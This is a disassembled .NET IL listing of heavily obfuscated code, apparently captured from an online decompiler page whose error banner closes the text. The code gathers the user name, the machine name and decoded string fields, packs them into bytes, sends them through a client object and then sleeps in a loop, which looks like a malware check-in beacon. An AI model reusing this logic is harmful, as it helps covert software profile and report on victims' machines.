call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::JBoqpwNwZVSZQnshspYeUqaxk()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_7
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::ffMklAnnWaCQbf()
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldloc V_6
ldloc V_7
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::foOtjFisqcwdHQFa(System.String,System.String)
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldfld System.Boolean yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::DXEyPmgYToIXvmeNBp
stloc V_10
ldloc V_10
brfalse IL_0386: nop
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::WWdUtiBFmAXtcgcC()
newarr System.Object
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::fmSTzPUyVzgdS()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UFkuRdwDhJZxLkT()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::rGSZrTFcjXKArJzMsB()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::XeAVfTQYcb()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.jWAMSMjyMtXtYaVSE::TnToDvjfPMKeOpbpGmilztQKn(System.Object[])
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VBUUtshbNILzz(System.Byte[])
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
newobj System.Void pTzDXOdunfwBrRj.CZHwHLjZDLxrewHkranHIzbsn::.ctor(yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ)
stfld pTzDXOdunfwBrRj.CZHwHLjZDLxrewHkranHIzbsn yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VUdhJQyUWilkFFGLSH
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
newobj System.Void yAIrVASZYgZsPGkVxUlYam.mayVuzMdFYMhjxnOCr::.ctor(yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ)
stfld yAIrVASZYgZsPGkVxUlYam.mayVuzMdFYMhjxnOCr yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::bCvPlsZSQyBeJg
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::evLSCWHIVXiVcUZ()
newarr System.Object
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::mKGkjGCCuJzXKzIHeLnf()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::raYajPZFUqTRKzCaVFNIDwXA()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::oPDkKjEACifSdMClRhY()
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::KtxPECfuys()
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::IXtXjxWPbqQhtAyuDAZWxBs()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::iQZPIvYtqCvzNSOIN
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UEhmFVNdOmXQWfAMNp()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::zKlABMQJbrfhLvt
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::LSyZcNIiRIBvGeTDe()
call System.String System.Environment::get_UserName()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::JQkAoLRqhEcJjqhmfyMDNqWdt()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::jJFdmSGdhXXzMJ()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::XNHNBABIMEbYLQixOhoQ
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::cgIVfFZxmwUM()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::IRbKlWgNiGssdSgTWMqJAEG
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::RlCcWwdgThffSzfkLSwsmdy()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::IhJVtvnsYrOwfDQdUveyifhx
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::hyKKMThRGOMvV()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::vMpEaIOczLUPCTu
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::dPfcJydqNFtMbdYUFnnrvXmT()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::dsUyGrDKfC
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::AANZEnkPQphMKUzh()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::qveDCLBRHcite
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::lERzrDtlJYIdzFdMIIyPRJS()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::pZYmRmdCQZDCqEk
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wKorHuSoKElh()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::GCmtznRjwfdjcgREREacuIAMh
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UIwTnuObmR()
call System.String yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::IXalDDKpPfHIgstEVDlypQ()
stelem.ref <null>
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.jWAMSMjyMtXtYaVSE::TnToDvjfPMKeOpbpGmilztQKn(System.Object[])
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VBUUtshbNILzz(System.Byte[])
nop <null>
nop <null>
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DACLASZcmHChOCeOFTTv()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wKnABvdODhKtFnHs()
ceq <null>
stloc V_11
ldloc V_11
brtrue IL_00F5: nop
nop <null>
leave IL_03BA: ret
pop <null>
nop <null>
nop <null>
leave IL_03BA: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙